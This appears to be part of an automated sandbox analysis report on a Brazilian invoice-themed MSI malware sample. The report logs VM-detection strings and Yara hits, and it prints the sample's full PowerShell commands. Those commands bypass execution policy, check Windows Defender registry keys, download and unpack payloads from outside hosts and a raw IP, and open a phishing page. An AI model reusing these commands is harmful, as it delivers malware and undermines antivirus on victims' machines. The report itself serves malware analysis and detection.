Source: chrome.exe, 00000009.00000002.4153565249.0000454400ADC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: powershell.exe, 0000000D.00000002.1886945626.00000000050E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000007.00000002.1810271687.0000000006DA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}J
Source: powershell.exe, 0000000D.00000002.1886945626.00000000050E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: chrome.exe, 00000009.00000003.2261850363.0000454401C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ~]lx{tn~lzyqeMu{_tvwpd
Source: chrome.exe, 00000009.00000003.1876014803.0000454400C78000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouse4DE
Source: chrome.exe, 00000009.00000002.4153290935.0000454400AAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=90459f6c-6722-4601-81f5-e16946ef95c7
Source: svchost.exe, 0000000A.00000002.4139788304.000001CE28657000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.4133447609.000001CE2302B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000D.00000002.1886945626.00000000050E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000003.00000002.1768488868.0000000007CA4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: chrome.exe, 00000009.00000002.4140346663.000002B1CC7D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllEE

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Fatura227Pendente576.pdf674.msi, type: SAMPLE
Source: Yara match	File source: amsi32_1260.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1260, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Installer\3ffeef.msi, type: DROPPED

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\msiexec.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1"

Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss2970.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss3FBB.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss6568.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss8A88.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssA5E4.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssB9B.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss4E65.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss9AD3.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss1297.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2xgfswae.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7FB3.tmp" "c:\Users\user\AppData\Local\Temp\CSC1F1FEE1B60354EE49FE3D23A31B1244.TMP"

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe -executionpolicy bypass -noprofile -command "& { $loopcompleted = $false for ($i = 0; $i -lt 3; $i++) { start-sleep -seconds 60 # verifica as chaves do registro $keypath = 'hklm:\software\policies\microsoft\windows defender' $disableantispyware = (get-itemproperty -path $keypath -name 'disableantispyware' -erroraction silentlycontinue).disableantispyware $disableantivirus = (get-itemproperty -path $keypath -name 'disableantivirus' -erroraction silentlycontinue).disableantivirus # se uma das chaves n o existir ou n o tiver valor 1, sai do loop e define que o loop completou if ($disableantispyware -ne 1 -or $disableantivirus -ne 1) { $loopcompleted = $true break } } # se o loop tiver sido interrompido, executa a tarefa agendada atd if ($loopcompleted) { start-scheduledtask -taskname 'atd' write-output 'tarefa agendada atd executada com sucesso.' } }"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe -executionpolicy bypass -noprofile -command "& { $folderpath = 'c:\localnow' $fileurl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedfile = join-path $folderpath 'rosa.png' $zipfile = join-path $folderpath 'rosa.zip' $extractedfolder = join-path $folderpath 'extracted' while ($true) { start-sleep -seconds 60 if (!(test-path -path $folderpath)) { write-output 'pasta localnow n o encontrada. aguardando nova verifica o.' continue } # verifica se existe algum arquivo dll na pasta $dllfiles = get-childitem -path $folderpath -filter *.dll -recurse -erroraction silentlycontinue if ($dllfiles -and $dllfiles.count -gt 0) { write-output 'arquivo dll encontrado: $($dllfiles[0].name)' break # sai do loop while } write-output 'arquivo dll n o encontrado. reiniciando o processo.' # limpa a pasta antes de novo download try { get-childitem -path $folderpath -recurse \| remove-item -force -recurse -erroraction stop # download e extra o invoke-webrequest -uri $fileurl -outfile $downloadedfile -erroraction stop rename-item -path $downloadedfile -newname $zipfile -erroraction stop expand-archive -path $zipfile -destinationpath $extractedfolder -force -erroraction stop write-output 'processo de extra o completado com sucesso.' } catch { write-output 'erro durante o processo: $($_.exception.message)' start-sleep -seconds 30 # espera antes de tentar novamente } } exit # encerra o script ap s sair do loop }"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe -executionpolicy bypass -noprofile -command "& { $folderpath = 'c:\localnow' $loopcompleted = $false for ($i = 0; $i -lt 3; $i++) { start-sleep -seconds 60 # verifica as chaves do registro $keypath = 'hklm:\software\policies\microsoft\windows defender' $disableantispyware = (get-itemproperty -path $keypath -name 'disableantispyware' -erroraction silentlycontinue).disableantispyware -eq 1 $disableantivirus = (get-itemproperty -path $keypath -name 'disableantivirus' -erroraction silentlycontinue).disableantivirus -eq 1 # se ambas as chaves existirem com valor 1, sai do loop e define que o loop completou if ($disableantispyware -eq 1 -and $disableantivirus -eq 1) { $loopcompleted = $true break } } # se o loop tiver sido interrompido, verifica se a pasta j existe e a cria se necess rio if ($loopcompleted -and !(test-path -path $folderpath)) { new-item -itemtype directory -path $folderpath -force write-output "pasta c:\localnow criada com sucesso ap s o loop completar." } }"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -command "if (-not (test-path 'c:\temp')) { new-item -itemtype directory -path 'c:\temp' -force \| out-null } try { invoke-webrequest -uri 'http://192.124.216.14/vd/sis/downsistem.ps1' -outfile 'c:\temp\downsistem.ps1' -usebasicparsing write-output 'arquivo downsistem.ps1 baixado com sucesso em c:\temp\downsistem.ps1' } catch { write-output 'erro ao baixar o arquivo downsistem.ps1: ' exit 1 }"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe -executionpolicy bypass -noprofile -command "& { $loopcompleted = $false for ($i = 0; $i -lt 3; $i++) { start-sleep -seconds 60 # verifica as chaves do registro $keypath = 'hklm:\software\policies\microsoft\windows defender' $disableantispyware = (get-itemproperty -path $keypath -name 'disableantispyware' -erroraction silentlycontinue).disableantispyware $disableantivirus = (get-itemproperty -path $keypath -name 'disableantivirus' -erroraction silentlycontinue).disableantivirus # se uma das chaves n o existir ou n o tiver valor 1, sai do loop e define que o loop completou if ($disableantispyware -ne 1 -or $disableantivirus -ne 1) { $loopcompleted = $true break } } # se o loop tiver sido interrompido, executa a tarefa agendada atd if ($loopcompleted) { start-scheduledtask -taskname 'atd' write-output 'tarefa agendada atd executada com sucesso.' } }"

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
